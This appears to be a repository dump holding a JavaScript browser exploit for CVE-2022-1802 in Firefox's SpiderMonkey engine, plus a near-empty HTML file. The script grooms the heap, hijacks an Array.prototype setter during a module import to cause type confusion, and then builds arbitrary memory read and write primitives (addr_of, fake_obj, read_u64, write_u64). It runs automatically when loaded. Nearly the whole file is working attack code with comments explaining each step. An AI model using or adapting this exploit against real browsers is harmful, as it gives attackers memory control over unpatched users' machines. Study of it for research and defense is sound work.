exploit
================================================
FILE: exploit.html
================================================
exploit
================================================
FILE: exploit.js
================================================
//CVE-2022-1802
var call_count = 0;
var do_capture = false;
var fake_mod = null;
var oob_arr = null;
var tmp_u32_arr1 = null;
var tmp_u32_arr2 = null;
var ab1 = null;
let ab1_view = null;
var ab2 = null;
function hex(val) {
val = Number(val);
let result = "0x" + val.toString(16);
return result;
}
Object.defineProperty(BigInt.prototype, "lo", {
get: function() {
let lo = this & 0xFFFFFFFFn;
return Number(lo);
}
});
Object.defineProperty(BigInt.prototype, "hi", {
get: function() {
let hi = (this >> 32n) & 0xFFFFFFFFn;
return Number(hi);
}
});
function garbage_collect() {
for(let i = 0; i < 3; i++) {
new ArrayBuffer(128 * 1024 * 1024);
}
}
//The best way to understand this is to set a breakpoint on this line
//https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2288
//and start single stepping.
function allocate_objects() {
//ArrayBuffer's are allocated on the Tenured heap
ab1 = new ArrayBuffer(8);
ab2 = new ArrayBuffer(8);
ab2.a = 0x1337;
//These objects are allocated on the Nursery heap
let fake_script = {};
//From DOARE:
// new Array vs [] ensures that the array is allocated
// from the nursery as it does in firefox. But not in js.exe.
//
oob_arr = new Array();
//These properties are allocated inline from the fake_mod JS object
//Interestingly if you execute this same line in the global scope
//the object gets allocated directly on the Tenured heap.
fake_mod = {
//https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L1231
ScriptSlot: fake_script, //self->script()
EnvironmentSlot: 0x11111111,
NamespaceSlot: 0x22222222,
//https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L879
StatusSlot: 0, // if (status() < MODULE_STATUS_LINKED)
};
//Writing 7 elements causes the elements_ array of oob_arr to be reallocated
//directly after fake_mod
for(let i = 0; i < 7; i++) {
oob_arr[i] = 0x11111111;
}
tmp_u32_arr1 = new Uint32Array(4);
tmp_u32_arr1.fill(0x66);
tmp_u32_arr2 = new Uint32Array(0x10);
tmp_u32_arr2.ab1 = ab1;
tmp_u32_arr2.fill(0x77);
//https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2295
fake_mod.AsyncSlot = false; // m->isAsync()
//https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2290
fake_mod.AsyncEvaluatingPostOrderSlot = true; // m->isAsyncEvaluating()
//https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2359
fake_mod.TopLevelCapabilitySlot = undefined; // if (module->hasTopLevelCapability())
//https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2355
fake_mod.AsyncParentModulesSlot = undefined; // placeholder
//console.log("0x" + objectAddress(ab1));
//console.log("0x" + objectAddress(ab2));
//console.log("0x" + objectAddress(fake_script));
//console.log("0x" + objectAddress(oob_arr));
//console.log("0x" + objectAddress(fake_mod));
//console.log("0x" + objectAddress(tmp_u32_arr1));
//console.log("0x" + objectAddress(tmp_u32_arr2));
//console.log("0x" + objectAddress(allocate_objects));
}
function setter(original) {
try {
console.log("Array.prototype[0] setter called");
Reflect.deleteProperty(Array.prototype, "0");
this[0] = original;
//The self-hosted Module.js is not explicitly visible to us
//and .caller will be reported as null
if(do_capture && arguments.callee.caller == null) {
if(call_count == 0) {
let module = original;
console.log("replacing module with fake_mod");
//This is really important as it allows the "import(...)" promise to be
//rejected properly. This tells us when the initial corruption has completed.
// AsyncModuleExecutionRejected(cx, parent, error)
fake_mod.AsyncParentModulesSlot = [ module ];
this[0] = fake_mod;
}
call_count++;
}
//install_setter();
} catch(e) {
console.log(e);
}
}
function install_setter() {
Object.defineProperty(Array.prototype, "0", {
set: setter,
configurable: true,
});
}
function make_addr(lo, hi) {
hi = BigInt(hi);
lo = BigInt(lo);
let result = ((hi << 32n) | lo);
return result;
}
function tag_obj(addr) {
let result = (0x1FFFCn << 47n) | addr;
return result;
}
function untag_addr(addr) {
let result = addr & (1n << 47n)-1n;
return result;
}
function install_primitives() {
garbage_collect();
allocate_objects();
install_setter();
return new Promise((resolve, reject) => {
do_capture = true;
//trigger type confusion
import("./1.mjs").then(() => {
return reject(new Error("This firefox version is not vulnerable!"));
}).catch(() => {
console.log("corruption underway");
//overwrite length of tmp_u32_arr1 with a large value
oob_arr[19] = 0xBEEF;
if(tmp_u32_arr1.length == 4) {
return reject(new Error("couldn't corrupt tmp_u32_arr1 :("));
}
//https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#kaizenjs
//Uses @0vercl0k's technique of using 2 ArrayBuffers for stable primitives
//read the pointer to ab1
let ab1_addr = make_addr(tmp_u32_arr1[42], tmp_u32_arr1[43]);
ab1_addr = untag_addr(ab1_addr);
//overwrite tmp_u32_arr2's backing store to the address of ab1
let tmp_u32_arr2_backing_store = make_addr(tmp_u32_arr1[22], tmp_u32_arr1[23]);
tmp_u32_arr1[22] = ab1_addr.lo;
tmp_u32_arr1[23] = ab1_addr.hi;
//overwrite ab1's size
tmp_u32_arr2[8] = 0x60; //0x58
ab1_view = new Uint32Array(ab1);
let original_ab2_store = make_addr(ab1_view[14], ab1_view[15]);
//cleanup corrupted structures so GC doesn't crash
tmp_u32_arr1[22] = tmp_u32_arr2_backing_store.lo;
tmp_u32_arr1[23] = tmp_u32_arr2_backing_store.hi;
let oob_arr_addr = addr_of(oob_arr);
let oob_arr_elements = read_u64(oob_arr_addr + 0x10n);
let oob_arr_elements_hdr_addr = oob_arr_elements - 0x10n;
write_u32(oob_arr_elements_hdr_addr, 0);
write_u32(oob_arr_elements_hdr_addr + 4n, 7);
let tmp_u32_arr1_addr = addr_of(tmp_u32_arr1);
let tmp_u32_arr1_len_addr = tmp_u32_arr1_addr + 0x20n;
write_u32(tmp_u32_arr1_len_addr, 4);
write_u32(tmp_u32_arr1_len_addr + 4n, 0);
return resolve();
}).finally(() => {
do_capture = false;
});
});
}
function fake_obj(addr) {
let tagged_addr = tag_obj(addr);
let ab2_slots_ = make_addr(ab1_view[10], ab1_view[11]);
write_u64(ab2_slots_, tagged_addr);
let result = ab2.a;
ab2.a = null;
return result;
}
function addr_of(obj) {
ab2.a = obj;
let ab2_slots_ = make_addr(ab1_view[10], ab1_view[11]);
let addr = read_u64(ab2_slots_);
let result = untag_addr(addr);
ab2.a = null;
return result;
}
function read_u16(addr) {
if(addr instanceof Number) {
addr = BigInt(addr);
}
ab1_view[14] = addr.lo;
ab1_view[15] = addr.hi;
let view = new Uint16Array(ab2);
let result = view[0];
return result;
}
function read_u32(addr) {
if(addr instanceof Number) {
addr = BigInt(addr);
}
ab1_view[14] = addr.lo;
ab1_view[15] = addr.hi;
let view = new Uint32Array(ab2);
let result = view[0];
return result;
}
function read_u64(addr) {
if(addr instanceof Number) {
addr = BigInt(addr);
}
ab1_view[14] = addr.lo;
ab1_view[15] = addr.hi;
let view = new Uint32Array(ab2);
let lo = BigInt(view[0]);
let hi = BigInt(view[1]);
let result = (hi << 32n) | lo;
return result;
}
function write_u8(addr, val) {
if(addr instanceof Number) {
addr = BigInt(addr);
}
ab1_view[14] = addr.lo;
ab1_view[15] = addr.hi;
let view = new Uint8Array(ab2);
view[0] = val;
}
function write_u32(addr, val) {
if(addr instanceof Number) {
addr = BigInt(addr);
}
ab1_view[14] = addr.lo;
ab1_view[15] = addr.hi;
let view = new Uint32Array(ab2);
view[0] = val;
}
function write_u64(addr, value) {
if(addr instanceof Number) {
addr = BigInt(addr);
}
if(value instanceof Number) {
value = BigInt(value);
}
ab1_view[14] = addr.lo;
ab1_view[15] = addr.hi;
let view = new Uint32Array(ab2);
view[0] = value.lo;
view[1] = value.hi;
}
function pwn_test() {
install_primitives().then(() => {
console.log("primitives installed!");
}).catch((err) => {
console.log("exploit failed :(", err);
});
}
if(this["window"] == undefined) {
pwn_test();
}